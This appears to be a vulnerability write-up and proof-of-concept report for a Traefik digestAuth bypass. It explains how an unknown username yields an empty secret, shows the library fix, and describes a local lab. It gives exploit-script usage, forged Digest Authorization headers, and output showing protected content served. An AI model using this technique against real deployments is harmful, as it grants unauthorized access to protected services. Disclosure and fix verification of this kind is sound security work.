CVE-2026-85595 — Traefik digestAuth authenticates unknown users (empty secret)

Affected: Traefik < 2.11.55, and 3.0.0 – 3.7.10 Fixed: 2.11.55 / 3.7.11 Fix: containous/go-http-auth commit b975dcaa8c48 "Reject DigestAuth when user secret is empty", vendored into Traefik by commit 2116686308a2 (go.mod bump) Advisory: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287

Mechanism

Traefik's digest middleware resolves the user's HA1 through its own secret lookup (pkg/middlewares/auth/digest_auth.go):

func (d *digestAuth) secretDigest(user, realm string) string {
	if secret, ok := d.users[user+":"+realm]; ok {
		return secret
	}
	return ""            // unknown user -> empty secret, not a rejection
}

go-http-auth's CheckAuth then takes that "" as HA1 and computes (digest.go:191-203 before the fix):

HA1 := da.Secrets(auth["username"], da.Realm)   // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD  := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)

PlainTextSecrets is false for Traefik (the users file already contains HA1), so HA1 stays the empty string. Every input to KD except HA1 is attacker-controlled or handed out by the 401 challenge (nonce, opaque), and the uri check accepts the request's own path. The response is therefore computable without any password and without a username that exists in the users file.

The fix is three lines in the library:

HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
	return "", nil
}

Traefik itself needed no code change — only the dependency bump — which is why the diff for v3.7.11 contains no digest_auth.go hunk.

Lab

role	image	container	host port
vulnerable proxy	traefik:v3.7.10	poc-traefik-vuln-3710	127.0.0.1:21010 → :8000
fixed proxy	traefik:v3.7.11	poc-traefik-3711	127.0.0.1:21011 → :8000

• Router: PathPrefix(/admin) on entrypoint digest, middleware digestAuth (realm=traefik-lab, usersFile=/etc/traefik/users.htdigest, removeHeader: true).
• Users file: admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5 (admin:traefik-lab:S3cretLabPass). User ghost used by the PoC is not in it.
• Backend: poc-traefik-app (python:3.12-alpine), serves ADMIN-AREA … for /admin/*.
• Recipe: lab/README.md.

Usage

python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010   # vulnerable
python3 cve_2026_85595.py check   --url http://127.0.0.1:21011   # fixed

--output FILE writes the transcript; --path, --user override the target path and the forged username.

Verification (real output)

1. Vulnerable traefik:v3.7.10 — bypass

$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target          : http://127.0.0.1:21010
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : exploit
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request                    -> HTTP 200
    body: ADMIN-AREA secret admin panel for /admin/secret
    request_line: GET /admin/secret HTTP/1.1
    resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)

The proxy's own access log records the forged identity as an authenticated user (ClientUsername is the second field after the client IP):

192.168.48.1 - -     [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms

2. Same proxy, no credentials (control)

$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401

3. Fixed traefik:v3.7.11 — forged digest rejected

$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target          : http://127.0.0.1:21011
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : check
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request                    -> HTTP 401
    body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)

Notes / limits

• The PoC forges one request per challenge; nonce bookkeeping (nc) is not needed beyond the single use.
• No valid credentials are used anywhere; the only username transmitted is one that does not exist in the users file.
• The same technique works against any digestAuth-protected router on an affected version, and against 2.11.x < 2.11.55.